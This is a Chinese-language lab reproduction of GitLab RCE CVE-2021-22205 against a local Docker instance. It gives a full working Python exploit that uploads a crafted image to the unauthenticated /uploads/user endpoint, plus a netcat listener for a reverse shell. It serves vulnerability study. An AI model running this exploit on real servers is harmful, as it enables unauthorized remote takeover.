GitLab 遠端命令執行漏洞(CVE-2021-22205)
阿新 • • 發佈:2022-05-17
GitLab是一款Ruby開發的Git專案管理平臺。在11.9以後的GitLab中,因為使用了圖片處理工具ExifTool而受到漏洞CVE-2021-22204的影響,攻擊者可以通過一個未授權的介面上傳一張惡意構造的圖片,進而在GitLab伺服器上執行任意命令。
參考連結:
- https://hackerone.com/reports/1154542
- https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
- https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/
- https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-22205.yaml
漏洞環境
執行如下命令啟動一個GitLab 13.10.1版本伺服器:
docker-compose up -d
環境啟動後,訪問http://your-ip:8080
即可檢視到GitLab的登入頁面。
漏洞復現
GitLab的/uploads/user介面可以上傳圖片且無需認證,利用poc.py指令碼來測試這個漏洞:
import sys import re import requests target = sys.argv[1] command = sys.argv[2] session = requests.session() CSRF_PATTERN = re.compile(rb'csrf-token" content="(.*?)" />') def get_payload(command): rce_payload = b'\x41\x54\x26\x54\x46\x4f\x52\x4d' rce_payload += (len(command) + 0x55).to_bytes(length=4, byteorder='big', signed=True) rce_payload += b'\x44\x4a\x56\x55\x49\x4e\x46\x4f\x00\x00\x00\x0a\x00\x00\x00\x00\x18\x00\x2c\x01\x16\x01\x42\x47\x6a\x70\x00\x00\x00\x00\x41\x4e\x54\x61' rce_payload += (len(command) + 0x2f).to_bytes(length=4, byteorder='big', signed=True) rce_payload += b'\x28\x6d\x65\x74\x61\x64\x61\x74\x61\x0a\x09\x28\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x20\x22\x5c\x0a\x22\x20\x2e\x20\x71\x78\x7b' rce_payload += command.encode() rce_payload += b'\x7d\x20\x2e\x20\x5c\x0a\x22\x20\x62\x20\x22\x29\x20\x29\x0a' return rce_payload def csrf_token(): response = session.get(f'{target}/users/sign_in', headers={'Origin': target}) g = CSRF_PATTERN.search(response.content) assert g, 'No CSRF Token found' return g.group(1).decode() def exploit(): files = [('file', ('test.jpg', get_payload(command), 'image/jpeg'))] session.post(f'{target}/uploads/user', files=files, headers={'X-CSRF-Token': csrf_token()}) if __name__ == '__main__': exploit() print('finish test')
準備好POC
攻擊機開啟監聽和Web服務
nc -lvvp 9999
&
python3 -m http.server 8888
使用POC反彈Shell成功